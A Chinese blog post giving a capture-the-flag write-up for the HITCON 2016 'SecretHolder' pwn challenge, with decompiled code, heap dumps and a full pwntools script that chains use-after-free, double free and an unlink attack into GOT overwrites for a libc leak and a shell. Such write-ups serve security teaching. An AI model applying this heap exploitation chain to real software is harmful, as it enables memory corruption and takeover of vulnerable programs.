美文网首页
HITCON2016 之 secretfolder

HITCON2016 之 secretfolder

作者: bluecake | 来源:发表于2017-02-16 21:14 被阅读0次

    很早就想写关于HITCON2016PWN题的一些理解分析,但因为懒人心理一拖再拖,今天终于可以静下心来写一写writeup,不得不说,hitcon的题目质量还是很高,这对于刚入门pwn的我而言,真是再好不过的教程。

    这是hitcon2016的第一个pwn

    Hey! Do you have any secret?
    I can help you to hold your secrets, and no one will be able to see it :)
    1. Keep secret
    2. Wipe secret
    3. Renew secret
    

    程序逻辑并不复杂,只不过KeepWipe必须按先后顺序执行

    __int64 sub_40086D()
    {
      v3 = *MK_FP(__FS__, 40LL);
      puts("Which level of secret do you want to keep?");
      puts("1. Small secret");
      puts("2. Big secret");
      puts("3. Huge secret");
      memset(&s, 0, 4uLL);
      read(0, &s, 4uLL);
      v0 = atoi(&s);
      if ( v0 == 2 )
      {
        if ( !bigSecret )
        {
          bigSecret_ptr = calloc(1uLL, 0xFA0uLL);
          bigSecret = 1;
          puts("Tell me your secret: ");
          read(0, bigSecret_ptr, 0xFA0uLL);
        }
      }
      else if ( v0 == 3 )
      {
        if ( !hugeSecret )
        {
          hugeSecret_ptr = calloc(1uLL, 0x61A80uLL);
          hugeSecret = 1;
          puts("Tell me your secret: ");
          read(0, hugeSecret_ptr, 0x61A80uLL);
        }
      }
      else if ( v0 == 1 && !smallSecret )
      {
        smallSecret_ptr = calloc(1uLL, 0x28uLL);
        smallSecret = 1;
        puts("Tell me your secret: ");
        read(0, smallSecret_ptr, 0x28uLL);
      }
      return *MK_FP(__FS__, 40LL) ^ v3;
    }
    

    这里依据选择指定大小的秘密会申请固定大小内存空间,并且对于每种类型都只能创建一次。

    __int64 sub_400A27()
    {
      v3 = *MK_FP(__FS__, 40LL);
      puts("Which Secret do you want to wipe?");
      puts("1. Small secret");
      puts("2. Big secret");
      puts("3. Huge secret");
      memset(&s, 0, 4uLL);
      read(0, &s, 4uLL);
      v0 = atoi(&s);
      switch ( v0 )
      {
        case 2:
          free(bigSecret_ptr);
          bigSecret = 0;
          break;
        case 3:
          free(hugeSecret_ptr);
          hugeSecret = 0;
          break;
        case 1:
          free(smallSecret_ptr);
          smallSecret = 0;
          break;
      }
      return *MK_FP(__FS__, 40LL) ^ v3;
    }
    

    上面的代码进行的是wipe操作,但是,程序在free之前没有检查指针,并且没有在free操作之后并没有将指针置空,因此这里导致了两个漏洞:UAFdouble free。那么这里可以这样利用,首先创建一个小堆块(记为A),然后释放掉,此时再申请一个大堆块(记为B),可以得到和刚释放的指针相同的指针,即A=B。再触发一次free(A),等价于free(B),但我们依然可以对B进行编辑。

    keep('small', '')
    wipe('small')
    keep('huge', '')
    wipe('small')   #free again
    

    但依靠上述过程得到的AB并不在同一个内存段中(具体原因现在还不清楚,有兴趣的同学可以分析一下sysmalloc函数)

    0x00400000         0x00402000         r-xp  /root/桌面/SecretHolder
    0x00601000         0x00602000         r--p  /root/桌面/SecretHolder
    0x00602000         0x00603000         rw-p  /root/桌面/SecretHolder
    0x014ca000         0x014eb000         rw-p  [heap] 
                                                  我们期望分配到的位置
    0x00007fed74fe5000 0x00007fed7517a000 r-xp  /lib/x86_64-linux-gnu/libc-2.24.so 
                                                  实际分配到位置
    0x00007fed7517a000 0x00007fed75379000 ---p  /lib/x86_64-linux-gnu/libc-2.24.so
    0x00007fed75379000 0x00007fed7537d000 r--p  /lib/x86_64-linux-gnu/libc-2.24.so
    0x00007fed7537d000 0x00007fed7537f000 rw-p  /lib/x86_64-linux-gnu/libc-2.24.so
    0x00007fed7537f000 0x00007fed75383000 rw-p  mapped
    0x00007fed75383000 0x00007fed753a6000 r-xp  /lib/x86_64-linux-gnu/ld-2.24.so
    0x00007fed7551f000 0x00007fed75583000 rw-p  mapped
    0x00007fed755a2000 0x00007fed755a5000 rw-p  mapped
    0x00007fed755a5000 0x00007fed755a6000 r--p  /lib/x86_64-linux-gnu/ld-2.24.so
    0x00007fed755a6000 0x00007fed755a7000 rw-p  /lib/x86_64-linux-gnu/ld-2.24.so
    0x00007fed755a7000 0x00007fed755a8000 rw-p  mapped
    0x00007ffd2096c000 0x00007ffd2098d000 rw-p  [stack]
    0x00007ffd209f7000 0x00007ffd209f9000 r--p  [vvar]
    0x00007ffd209f9000 0x00007ffd209fb000 r-xp  [vdso]
    0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]
    

    想要使得AB在同一个内存段中,只需要先申请一个大堆块,并释放掉,然后再进行上述步骤即可

    keep('huge', '')
    wipe('huge')
    keep('small', '')
    wipe('small')
    keep('huge', '')
    wipe('small')   #free again
    

    到这里,我们已经可以通过编辑B来控制后续申请的全部堆块结构内容,接下来就可以利用unlink attack来修改全局指针。但是,利用unlink需要满足一个前提条件:需要执行unlink的两个堆块不是fastbin。所以,需要构造两个大小大于0x80的块

    keep('small', '')
    keep('big', '')
    

    这部分代码执行结束时的内存分布如下所示

    0x20dc000:  0x0 0x31     
    0x20dc010:  0xa 0x0       small secret
    0x20dc020:  0x0 0x0
    0x20dc030:  0x0 0xfb1    
    0x20dc040:  0xa 0x0       big secret
    0x20dc050:  0x0 0x0
    0x20dc060:  0x0 0x0
    

    然后通过renew操作构造一个fake fastbin

    exploit_st1  = '\x00'*0x28
    exploit_st1 += p64(0x30 | PREV_INUSE)
    exploit_st1 += '\x00'*0x28
    exploit_st1 += p64((0xfb0 - 0x30) | PREV_INUSE)
    renew('huge', exploit_st1) # create two fastbins with same size
    

    覆盖后内存分布如下

    0x20dc000:  0x0 0x31     fastbin1
    0x20dc010:  0x0 0x0      
    0x20dc020:  0x0 0x0
    0x20dc030:  0x0 0x31     fake fastbin2
    0x20dc040:  0x0 0x0      
    0x20dc050:  0x0 0x0      fake big_secret block end
    0x20dc060:  0x0 0xf81 
    0x20dc070:  0xa 0x0
    0x20dc080:  0x0 0x0
    ...
    0x20dcfe0:  0x0 0x0      true big_secret block end
    0x20dcfe0:  0x0 0x81021  
    

    这里我们先释放掉fastbin1fake fastbin2,释放后的内存如下图所示

    0x20dc000:  0x0 0x31
    0x20dc010:  0x0 0x0
    0x20dc020:  0x0 0x0
    0x20dc030:  0x0 0x31
    0x20dc040:  0x20dc000   0x0
    0x20dc050:  0x0 0x0
    0x20dc060:  0x0 0xf81
    ...
    0x20dcfd0:  0x0 0x0     
    0x20dcfe0:  0x0 0x81021
    

    那么,当申请small_ptr将会得到0x20dc040,但申请big_ptr时将会得到0x20dcff0,此时再通过renew('huge',payload)操作构造用于unlink操作的堆块

    addr_ptr_small      = 0x6020b0
    
    exploit_st2  = '\x00'*0x30
    # small (shift small chunk behind 16 bytes)
    exploit_st2 += p64(0x0)                 # prev_size
    exploit_st2 += p64(0xfa0 | PREV_INUSE)  # size
    exploit_st2 += p64(addr_ptr_small-0x18) # fd
    exploit_st2 += p64(addr_ptr_small-0x10) # bk
    exploit_st2 += '\x00'*0xf80
    # big
    exploit_st2 += p64(0xfa0)               # prev_size
    exploit_st2 += p64(0xfb0 & ~PREV_INUSE) # size
    
    keep('small', '')
    keep('big', '')
    renew('huge', exploit_st2)
    wipe('big')       # unlink attack (addr_ptr_small <- addr_ptr_small-0x18)
    

    此时,small_ptr已经指向了0x602098renew('small', payload)可以修改bigSecret_ptr,再一次调用renew('big', payload)进行任意内存写

    .bss:0000000000602098                                    
    .bss:00000000006020A0 ; void *bigSecret_ptr
    .bss:00000000006020A0 bigSecret_ptr                
    .bss:00000000006020A0                                    
    .bss:00000000006020A8 ; void *hugeSecret_ptr
    .bss:00000000006020A8 hugeSecret_ptr              
    .bss:00000000006020A8                                    
    .bss:00000000006020B0 ; void *smallSecret_ptr
    .bss:00000000006020B0 smallSecret_ptr  
    

    后续就比较简单了,脚本如下

    from pwn import *
    
    def keep(type, secret):
        p.recvuntil("Renew secret")
        p.sendline('1')
        p.recvuntil("Huge secret")
        if type=="small":
            p.sendline('1')
        elif type=="big":
            p.sendline('2')
        elif type=="huge":
            p.sendline('3')
        p.recvuntil("your secret:")
        p.sendline(secret)
    
    def wipe(type):
        p.recvuntil("Renew secret")
        p.sendline('2')
        p.recvuntil("Huge secret")
        if type=="small":
            p.sendline('1')
        elif type=="big":
            p.sendline('2')
        elif type=="huge":
            p.sendline('3')
    
    
    def renew(type, secret):
        p.recvuntil("Renew secret")
        p.sendline('3')
        p.recvuntil("Huge secret")
        if type=="small":
            p.sendline('1')
        elif type=="big":
            p.sendline('2')
        elif type=="huge":
            p.sendline('3')
        p.recvuntil("your secret:")
        p.sendline(secret)
    
    binf = ELF('SecretHolder')
    addr_got_stack_fail = binf.got['__stack_chk_fail']
    addr_got_memset     = binf.got['memset']
    addr_got_main       = binf.got['__libc_start_main']
    
    addr_plt_puts       = binf.plt['puts']
    addr_plt_alarm      = binf.plt['alarm']
    addr_plt_exit       = binf.plt['exit']
    
    debug = 1
    # context.log_level = True
    if debug:
        p = process('./SecretHolder')
    
    PREV_INUSE = 1
    
    gdb.attach(p, open('aa'))    
    keep('huge', '')
    wipe('huge')
    keep('small', '')
    wipe('small')
    keep('huge', '')                        # buf_huge == buf_small
    wipe('small')
    
    exploit_st1  = '\x00'*0x28
    exploit_st1 += p64(0x30 | PREV_INUSE)
    exploit_st1 += '\x00'*0x28
    exploit_st1 += p64(0x81fa0 | PREV_INUSE)
    
    keep('small', '')
    keep('big', '')
    renew('huge', exploit_st1)
    wipe('small')
    wipe('big')
    
    addr_ptr_small      = 0x6020b0
    
    exploit_st2  = '\x00'*0x30
    # small (shift small chunk behind 16 bytes)
    exploit_st2 += p64(0x0)                 # prev_size
    exploit_st2 += p64(0xfa0 | PREV_INUSE)  # size
    exploit_st2 += p64(addr_ptr_small-0x18) # fd
    exploit_st2 += p64(addr_ptr_small-0x10) # bk
    exploit_st2 += '\x00'*0xf80
    # big
    exploit_st2 += p64(0xfa0)               # prev_size
    exploit_st2 += p64(0xfb0 & ~PREV_INUSE) # size
    
    keep('small', '')
    keep('big', '')
    renew('huge', exploit_st2)
    wipe('big')                             # unlink attack (addr_ptr_small <- addr_ptr_small-0x18)
    
    bss_global = 0x6020a0
    payload_st1  = '\x00'*0x8
    payload_st1 += p64(binf.got['free'])     # buf_big
    payload_st1 += p64(binf.got['read'])                   # buf_huge (not used)
    payload_st1 += p64(addr_ptr_small - 0x18) # buf_small
    payload_st1 += p32(1)*3
    renew('small', payload_st1)
    renew('big', p64(binf.plt['puts']) + p64(binf.plt['puts']+6))
    wipe('huge')
    
    offset___libc_start_main_ret = 0x20a40
    offset_system = 0x00000000000443d0
    offset_dup2 = 0x00000000000f7b90
    offset_read = 0x00000000000f7470
    offset_write = 0x00000000000f74d0
    offset_str_bin_sh = 0x18c3dd
    
    p.recvline()
    read_addr = u64(p.recv(6) + '\x00\x00')
    lib = ELF('/lib/x86_64-linux-gnu/libc-2.21.so')
    system_addr = lib.symbols['system'] - lib.symbols['read'] + read_addr
    log.info('got system addr ' + hex(system_addr))
    bin_sh = offset_str_bin_sh - offset_read + read_addr
    
    payload_st1  = '\x00'*0x8
    payload_st1 += p64(binf.got['free'])     # buf_big
    payload_st1 += p64(bin_sh)                   # buf_huge (not used)
    payload_st1 += p64(addr_ptr_small - 0x18) # buf_small
    payload_st1 += p32(1)*3
    renew("small", payload_st1)
    renew("big", p64(system_addr) + p64(binf.plt['puts']+6))
    wipe('huge')
    
    p.interactive()
    

    相关文章

      网友评论

          本文标题:HITCON2016 之 secretfolder

          本文链接:https://www.haomeiwen.com/subject/haocwttx.html